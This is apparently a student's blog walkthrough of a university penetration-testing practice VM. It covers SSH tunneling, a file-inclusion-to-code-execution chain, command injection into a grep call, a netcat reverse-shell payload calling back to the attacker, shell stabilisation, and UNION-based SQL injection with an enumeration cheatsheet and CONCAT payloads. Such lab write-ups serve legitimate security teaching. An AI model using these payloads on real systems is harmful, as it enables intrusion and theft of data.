 
  
    
    
    
 
  
Uni Exam Practice VM practice: more of LFI2RCE
Table of Contents
Today we’ll cover the second test exam VM our professor provided us for his “Penetration Testing” class. The first one, aswell as all practice VMs, went pretty well, so i am excited to see what’ll be going on here.
To better get to know the basics of the tunneling we’ll be doing, look at my previous text exam post .
Starting the exercise
ssh user@<REMOTE_IP>
Here we’ll start with a netstat-check to see what services are running.
netstat -tulpn
As a reminder, read through what the
-tulpnflags mean.
- -t→ TCP
- -u→ UDP
- -l→ listening ports only
- -p→ show process name/PID
- -n→ show numeric IPs and ports (no DNS resolution)
|  |  | 
Let’s port forward these services so we can see what’s going on.
Tunneling interesting ports
export RHOST=<REMOTE_IP>
export LOCAL=127.0.0.1
ssh -L 8888:$LOCAL:53 -L 8889:$LOCAL:8088 -L 8890:$LOCAL:80 user@$RHOST
Whoops, my bad, still tired. 53 is DNS, we’ll find nothing there haha - let’s start with the other two:
  
  
  
  
     
  
  
  
  
  
     
  
Let’s enter the easy flag we’ve got and continue working through the other web app.
  Working through /pastebin
  
  
    
 
  
  
  
  
  
     
  
Whoop whoop! Let’s hop over to burp for this one!
touch test.pdf
We create a test file we can upload.
  
  
  
  
     
  
Great, we even get an output repo and path. Let’s change this up a bit.
  
  
  
  
     
  
  
  
  
  
     
  
Seems the content is just put in AS-IS. Nothing hints at PHP code being executed. So what now? Let’s try to utilize another web app that might execute our crafted shells!
  
  
  
  
     Uh uh uh.. a
  
Uh uh uh.. a GET parameter, how convenient.
  
  
  
  
     
  
http://127.0.0.1:8889/webring/?page=/var/www/html/pastebin/uploads/c64e1fb5e4b0084d.txt&0=getflag
Don’t worry about that
GIF8in front, my
Our command is getflag, it was left by our professor for us - don’t wonder, it won’t work for you haha.
What File Inclusion really is
Definition
File inclusion is a vulnerability where a web application dynamically loads and executes (or displays) files based on user input, allowing attackers to include arbitrary local or remote files, often leading to code execution or information disclosure.
What went wrong with ours
In our case, /pastebin only created & stored static txt files, while the key to utilizing our webshell
 was the file inclusion point in this other web app - classic LFI2RCE chain.
  Working through /textdb
  
  
    
 
  
  
  
  
  
     
  
Let’s try simple auth bypass, shall we?
Our payload admin' OR 1=1 -- - didn’t work, buut we can see the executed command:
<!-- grep -E -x 'admin' OR 1=1 -- -[[:space:]]+' plaintextcreds.txt 2>&1 -->2: Username or password wrong :(  
<!-- Error:  -->  
The executed command is grep -E -x '<input>' plaintextcreds.txt, the input ends up injected into a grep command.
name=' ; ls /etc # &pass=&submit=Click me!  
hmm, that now shows:
<!-- grep -E -x '' ; ls /etc # [[:space:]]+' plaintextcreds.txt 2>&1 -->Username and password valid :)    
we can see it is a silent Command Execution.
Silent Command Execution
…refers to a situation where a command is successfully executed on the server but its output is not displayed or returned to the attacker, making it appear as if nothing happened.
Try as a (URL-encoded) payload:
a'; sleep 5 # 
If that wouldn’t have sufficed, add a
;to try things out:a'; sleep 5 ;#
the request will take.. 5s longer lul. We have command execution, we just don’t have an output! It’s silent, rememeber?
Let’s go with a Reverse Shell. Our prof’s environment is in docker:
How to know you’re in a Docker container
  
  
  
  
     
  
You see this weird 8101522c71c03 hostname when looking up /etc/hostname with cat?  A pretty clear sign you’re in a Docker container.
Establishing our Reverse Shell
Luckily in our case, we have the command line of where we tunneled in:
user@hsma-tunnel:~$ 
in your exercise if it’s not docker it will work the regular way .
We get the IP via
ip -a | grep docker- i should do a post on pipelines hm?
user@hsma-tunnel:~$ nc -nlvp 4444  
listening on [any] 4444 ...  
you know the drill, and the payload on the attacker side:
name=a'; nc 172.17.0.1 4444 -e /bin/bash #&pass=x&submit=Click me!
Nice, connected!
Shell Stabilisation
Let’s do it like i taught you hehe : On the target:
python -c 'import pty; pty.spawn("/bin/bash")'
Then background the shell with CTRL+Z, and run:
stty raw -echo; fg
then hit enter to return to your target machine’s process.
export TERM=xterm
That gives you tab completion, line editing, and often color support. It’s not perfect — but good enough for this.
Something with the docker env is broken so it doesn’t work, but do it anyways! Great exercise!
FINALLY: Finding Flags
pwd
# results in:
/var/www/html/textdb
Let’s go one back and search for flags shall we? I know the format starts with an HSMA (my uni):
cd ..
grep -r HSMA*
test/index.php:  echo '<blink>HSMA_CTF_hidden_in_plain_sight_c6f81718</blink>';
textdb/plaintextcreds.txt:flag  HSMA_CTF_cred_exfil_a076434e
vault/index.php:          echo 'Well done, the flag is HSMA_CTF_read_the_sauce_b6dec7b3';
Ups.. a bit more than we even wanted. We now are only missing one flag.
  Working through /topnames
  
  
    
 
  
  
  
  
  
     
  
  
  
  
  
     
  
It’s SQL Injection time!
Let me hand you a small SQL Enumeration Cheatsheet we created with our professor.
SQL Enumeration: Mini cheatsheet
-- enumerate DATABASES
SELECT schema_name FROM information_schema.schemata;
-- enumerate TABLE NAMES in our current DB
SELECT table_name FROM information_schema.tables WHERE table_schema = DATABASE();
-- alternatively enumerate TABLES in all DBs except default DBs
SELECT table_name FROM information_schema.tables WHERE table_schema NOT IN ('information_schema', 'mysql');
-- enumerate COLUMNs from a specific database for a specific table
SELECT COLUMN_NAME
FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_SCHEMA = 'database_name'
  AND TABLE_NAME = 'table_name';
-- some shorthands
SHOW TABLES IN information_schema;
SHOW COLUMNS IN information_schema.tables;
SHOW COLUMNS IN information_schema.columns;
There is a
SELECTgoing on in/topnames, so let’s learn something new here!
  2 ways to check if UNION SELECT will work
  
  
    
 
  
1. The direct approach
Put in
0 UNION SELECT 1, 2, 3 -- and so on
Add/ remove columns until the error message vanishes.
  2. Via GROUP BY
  
  
    
 
  
Put in
0 GROUP BY 1, 2, 3 -- and so on
Same here: add/ remove columns until these
Unknownerrors vanish
Finding our last flag
Now what we know there are two columns, we can do (looking at the above cheatsheet):
0 UNION SELECT 1, COLUMN_NAME from information_schema.columns where table_schema = database()
This reveals us all column names:
comment, pass, user, name, id.
Now, i suspect comment may contain our flag - we need to find out in which table this is.
Again, look at the cheatsheet:
0 UNION SELECT 1, table_name from information_schema.tables where table_schema = database()
tells us there are users and names.
With this:
0 UNION SELECT 1, CONCAT(comment,pass,name) FROM users
concat()does work without quotation marks! Nice to know!.
  
  
  
  
     
  
Nice! We’ve found all flags! We did it guys hehe, nice work!
As a bonus, you should look at more concat() payloads, like:
CONCAT(first_name,'%0d%0a',last_name,'%0d%0a',password),2,3,4 FROM users--+-
maybe here (just search for concat) .